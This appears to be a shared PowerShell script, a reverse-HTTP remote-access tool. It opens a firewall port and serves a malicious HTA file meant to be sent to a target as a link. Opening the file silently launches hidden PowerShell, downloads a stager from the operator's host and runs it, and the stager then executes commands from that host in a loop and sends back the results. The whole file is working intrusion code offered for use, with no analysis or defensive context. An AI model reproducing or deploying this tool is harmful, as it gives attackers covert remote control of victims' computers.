Created
May 8, 2017 00:27
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Reverse HTTP PowerShell
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| <# | |
| Simply Invoke the Script and send the target a link to http://192.168.1.1/app.hta | |
| To change your server, simply find and replace 192.168.1.1 with your server in the code. | |
| #> | |
| function Receive-Request { | |
| param( | |
| $Request | |
| ) | |
| $output = "" | |
| $size = $Request.ContentLength64 + 1 | |
| $buffer = New-Object byte[] $size | |
| do { | |
| $count = $Request.InputStream.Read($buffer, 0, $size) | |
| $output += $Request.ContentEncoding.GetString($buffer, 0, $count) | |
| } until($count -lt $size) | |
| $Request.InputStream.Close() | |
| write-host $output | |
| } | |
| $listener = New-Object System.Net.HttpListener | |
| $listener.Prefixes.Add('http://+:80/') | |
| netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null | |
| netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null | |
| $listener.Start() | |
| 'Listening ...' | |
| while ($true) { | |
| $context = $listener.GetContext() # blocks until request is received | |
| $request = $context.Request | |
| $response = $context.Response | |
| $hostip = $request.RemoteEndPoint | |
| #Use this for One-Liner Start | |
| if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET")) { | |
| write-host "Host Connected" -fore Cyan | |
| $message = ' | |
| $s = "http://192.168.1.1/rat" | |
| $w = New-Object Net.WebClient | |
| while($true) | |
| { | |
| $r = $w.DownloadString("$s") | |
| while($r) { | |
| $o = invoke-expression $r | out-string | |
| $w.UploadString("$s", $o) | |
| break | |
| } | |
| } | |
| ' | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { | |
| Receive-Request($request) | |
| } | |
| if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) { | |
| $response.ContentType = 'text/plain' | |
| $message = Read-Host "PS $hostip>" | |
| } | |
| if ($request.Url -match '/app.hta$' -and ($request.HttpMethod -eq "GET")) { | |
| $enc = [system.Text.Encoding]::UTF8 | |
| $response.ContentType = 'application/hta' | |
| $htacode = '<html> | |
| <head> | |
| <script> | |
| var c = "cmd.exe /c powershell.exe -w hidden -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring(''http://192.168.1.1/connect''))\"\""; | |
| new ActiveXObject(''WScript.Shell'').Run(c); | |
| </script> | |
| </head> | |
| <body> | |
| <script>self.close();</script> | |
| </body> | |
| </html>' | |
| $buffer = $enc.GetBytes($htacode) | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| continue | |
| } | |
| [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) | |
| $response.ContentLength64 = $buffer.length | |
| $output = $response.OutputStream | |
| $output.Write($buffer, 0, $buffer.length) | |
| $output.Close() | |
| } | |
| $listener.Stop() |
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